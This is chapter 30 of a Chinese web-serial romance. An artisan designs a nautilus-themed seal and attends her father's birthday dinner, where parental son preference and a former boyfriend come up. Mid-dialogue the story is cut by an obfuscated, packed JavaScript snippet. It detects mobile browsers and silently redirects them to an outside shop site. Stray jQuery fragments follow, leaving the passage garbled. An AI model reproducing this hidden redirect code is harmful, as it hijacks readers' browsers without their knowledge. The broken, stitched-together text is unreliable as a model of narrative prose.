30. 鹦鹉螺

作品:《溯洄暗恋[男二上位]

    顾心愉戳了戳彗星的小爪子,“老婆,你想把猫放在工作室还是家里?”


    苏知茵想了想,“放在家里,工作室这边各种机器金属的,又时不时要动明火,还是在家里安全。”


    “说的也是。”顾心愉点头。


    两人一起把彗星带回公寓,给它布置了猫窝和猫砂盆。


    苏知茵前几天的微博点赞超过五百了,发的内容正是做给顾心愉的风铃花胸针。


    下面的夸夸评论也有百来条,没想到有这么多点赞和互动,把她惊到了,现在可是她人气最高的一条微博,真是意外之喜。


    苏知茵备受鼓舞,认真阅读了每一条评论,不少人问怎么买?可以定制吗?求同款……


    不过也有不和谐的声音,有条评论阴阳怪气:是搞非遗作秀的女艺术家呀。


    苏知茵抿紧嘴唇,呵,乱扣帽子,性别歧视,果断删评拉黑。


    她呼了一口气,告诉自己不要被这些糟污影响心情,还是应该多往好的方面想!


    看来有很多人会喜欢这种灵巧的小件,装饰性强,有独特性,可以标榜个性。


    苏知茵突然有了想法,准备做一些这样精巧小饰品打开市场,非遗银花丝不应该束之高阁,她想让它们飞进寻常百姓家。


    她拿出一个小本本,罗列了一些想法和待办事项,近期除了做好杨京宁老师的印章,以及设计一些花鸟题材的胸针和吊坠。


    思路已经明晰,苏知茵准备去芝州图书馆借一些书回来。


    目前她的想法是,以传统的年画图样为灵感,以传统、怀旧、温暖风格为基调进行设计,唤醒和重温记忆中的美好。


    苏知茵在图书馆借阅书籍,顺路去一楼观看古生物化石展览。


    这些化石历经数亿年,仍然完好地展现在她面前,有种规律之美,这三叶虫的对称之美,还有这鹦鹉螺外壳,具有符合黄金分割率的完美比例。


    苏知茵忍不住惊叹,大自然才是最好的工匠大师。


    她忽然灵光一闪,杨主任的印章可以从鹦鹉螺切入!她心神振奋,喜出望外,把借好的书揣兜里匆匆赶回工作室。


    在电脑上查阅了许多关于鹦鹉螺的资料,被称为黄金螺旋,也叫裴波那契螺旋线。


    简约,有序,和杨主任的观念契合。


    苏知茵仔细研究,在手绘板上一笔笔画下了初步设计草图,又经过多番修改,终于确定好设计思路,完成初稿发给杨主任后,她的心情既激动又忐忑。


    *


    这周六是父亲苏勤的五十大寿,苏知茵买了早晨的高铁票回溪城。


    回到家。


    莫春茹对此还挺重视的,“咱们家本来办事就少,之前茵茵考上大学办了酒席,现在都多少年了。”


    苏勤不想大办,只是邀请来往密切的亲友一起聚聚吃饭,提前一个月在兴盛饭店订了包厢,约摸三桌。


    “下次再办酒,就是子女结婚的喜酒了。”


    苏勤这话明显说给苏知茵听的。


    “你没有子,只有女。”苏知茵面无表情地说道。


    苏勤气得直瞪眼,“家里培养了一个女秀才,咬文嚼字。”


    苏知茵刚张嘴想说几句。


    莫春茹立即在中间打圆场,“茵茵,今天你爸生日,少说两句。”


    就此作罢。


    苏勤年轻的时候盘了个店铺,做光盘租赁生意,莫春茹那会刚考上教师,常去他那租碟片看,一来二去,也就慢慢熟悉了。


    两人时常聊些电影,电视剧,各自抒发感想,聊得十分投机。


    某天,苏勤表示了心意,两人也就谈起了恋爱,莫海知道后是不同意的,自然是认为苏勤配不上女儿。


    莫海是电机厂的老会计,有一子一女,多年下来,家庭经营得蒸蒸日上,在当地算是条件不错的。


    女儿莫春茹也有正式工作,在找对象看条件这方面,完全可以找到更好的。


    到最后,莫春茹还是和苏勤结婚了,婚后一年生下女儿苏知茵。


    苏勤一直认为生个女儿都是要嫁到别人家,生了儿子才有奋斗的动力,再辛苦也心甘情愿,不然死了都没人摔盆。


    虽说如此,苏勤在和莫春茹结婚后,也没赚出什么名堂,先后做过水果生意,搞过养殖,没有一个做起来的。


    但苏勤想生儿子的心一直没有消减,反而随着年纪增大而愈发强烈,甚至闹到要抛妻弃女离婚的地步。


    你爸妈要给你生小弟弟,到时候喜欢小弟弟,不喜欢你。诸如此类的话,苏知茵小时候没少听。


    一开始还会辩解几句,说明爸妈不会这样做,但有一次苏勤也在场,苏勤听完这种话后,不仅不否认,还笑得挺开心,仿佛真有这么回事。


    随着年纪增长,她也懂了,苏勤就是重男轻女。


    莫春茹早些年有心生二胎,追求儿女双全。


    父亲莫海一直告诫她要珍惜工作,不能丢了饭碗,让莫春茹打消了念头。


    莫春茹也因为这事,和苏勤争吵过很多次,最厉害的一次是在苏知茵四年级,两个人离婚闹到了民政局。


    苏知茵那天在放学回家的时候,发现家里空无一人。


    她很奇怪,拿了座机打妈妈的电话,响了半天也没人接。


    跑到楼下去找爸妈,听见邻居议论说苏勤和莫春茹要离婚了。


    苏知茵小小的心里装满了恐慌,她左等右等,终于等到莫春茹回家。


    她一把扑到莫春茹怀里,“他们说你和爸爸要离婚,是真的吗?”


    “没有,我和你爸不离婚,别听他们嚼舌根,他们闲得嘴坏……”莫春茹眼眶发红,她紧紧抱着苏知茵。


    苏知茵眉头紧皱,眼眸中满是担忧和害怕,她也抱住了妈妈,母女俩相互依偎在一起。


    最后,苏勤和莫春茹离婚这事,被岳父莫海给压制住了。


    莫海提出他从电机厂退休后,可以给苏勤在厂里谋个职位。


    苏勤一直以来对莫海心存畏惧,在听到莫海提出这个条件后,他妥协了,消停了。


    直到现在,苏勤五十岁,没有儿子的遗憾将贯穿他一生,但人生总会有遗憾,遗憾多了去了,苏勤也只能看开。


    *


    一家三口提前到达饭店,苏勤从后备箱搬下备好的酒水饮料,带到包厢。


    亲友陆陆续续到达。


    季守杰和妻子林彤先进门,季林宣在后面,拿了一个纸袋子,“叔叔,送您的礼物。”


    苏勤笑眯眯接下,拍拍季林宣后背,“男孩子要主动点啊,茵茵交给你,我们也放心了。”


    季林宣笑笑,又看向苏知茵,“我争取。”


    “加把劲,争取明年能有个结果。”季守杰也过来关心儿子的终身大事。


    苏知茵假笑营业。


    莫春茹拍拍苏勤的胳膊,“你就希望茵茵这么快嫁人?”


    “就是,到时候别舍不得。”


    “有什么舍不得的,孩子大了,终究是要成家的……”


    两家都是老相识了,随意坐在沙发上聊聊天。


    苏知茵不愿听到这些,在另一边找了个座位坐下。


    季林宣也跟了过去,从口袋里掏出一个小盒子,“茵茵,我给你也带了个礼物。”


    苏知茵有几分意外,“啊?给我?”<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17108690|194405||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>她认为两人已经分手,便没有立场接受这样示好的礼物了,没抬手去接,“心意我收到了,礼物我不收了。”


    季林宣眼神有些忧伤,“你都不打开看看吗?我们俩一定要这么生疏吗?”


    苏知茵心中叹气。


    她打开盒子,一块美丽的欧珀原石,色彩夺目,如同彩虹般绚丽。


    季林宣是学地质学的,他喜欢收集各种矿物原石。


    但他不喜欢打磨石头,也不喜欢佩戴,只是摆在柜子里欣赏。


    季林宣眼里闪着星光,“这是我九月去华州参加地质知识竞赛赢到的奖品,你想把它做成什么都可以……之前你不是做了欧珀的耳环吗,可以拿这个再做个吊坠。”


    苏知茵记起季林宣之前说过参加比赛的事,当时她只在微信上祝他成功,也没有多聊。


    看着手里的美丽石头,心想,也许早几个月收到的话,她会很高兴吧……


    “哎呀,季洄来啦!”


    不知道是谁说了这么一句,大家都朝门边看过去,杂乱的闲聊声顿时安静下来。


    苏勤十分意外,没想到季洄会过来,他大步走过去,伸出手热情迎接,“小洄,你过来啦。”


    季洄和他握手寒暄,“勤叔。”


    小时候季洄第一次见苏勤和莫春茹夫妇不知道怎么称呼。


    季守杰说辈分是家里人的,就让季洄随着季林宣一块喊叔叔阿姨。


    苏知茵闻言朝那边看去,猝不及防地和季洄的视线撞到一起。


    季洄朝她一笑。


    她耳后微热,快速转移了视线。


    季洄他怎么来了?!她早上问过爸妈,他们说让季守杰和林彤代为邀请了,也没听说他要过来。


    苏勤夫妇本来也没抱什么期待,一来他们一家和季洄的来往也没多亲密,其次都知道季洄是个大忙人,开公司,奔事业,一般的应酬也不参与。


    季洄穿了一身浅灰色大衣,身形挺拔,看着很有书卷气,“生日快乐,给您带了点小心意。”


    苏勤喜笑颜开,“哎呀,来吃饭就好了,还带东西,让你破费了。”


    苏勤深刻记得小时候家里穷,他成绩原本不错,也因为贫困只上到初中毕业,就出来谋生了,读书一直是他的遗憾,他对苏知茵学习也非常重视,并且全力支持她提高学历攻读硕士。


    所以苏勤常常想,如果生个儿子一定要好好培养,让他多读书,知识渊博,就应该像季洄这样一表人才。


    “茵茵,快过来打招呼。”莫春茹朝苏知茵招手。


    苏知茵走过去,干巴巴喊了声,“季洄哥。”


    “这孩子,扭扭捏捏。”莫春茹打趣,“小时候不是也一块玩的吗?”


    “现在大了嘛,要是还像小时候那样天真烂漫就好咯。”林彤笑道。


    “哎呀,小洄真是越来越帅了!”莫春茹夸赞道。


    刘华庆是苏勤的表哥,长得膀圆腰粗。


    他热情地拍拍季洄的肩膀,笑道:“这叫男人味。”


    苏勤笑着恭维,“小洄,你做那个光伏板很不错啊,顺应时代,前途无量。”


    “都是工作,各行各业都有自己的特色,茵茵她做的工作也很有意义。”季洄的目光顺势落在苏知茵身上。


    她今天穿了蛋白色新中式刺绣上衣,衬得脸粉粉的,她睫毛浓密,仿佛画了眼线,鼻梁翘挺,殷红的嘴唇微抿。


    苏勤摆摆手,对苏知茵的工作一直不太满意,认为是华而无用之物,也赚不了什么钱。


    “她就是设计师,做的东西是装饰性的,没什么用……”


    “她喜欢就行。”季洄的声音响起。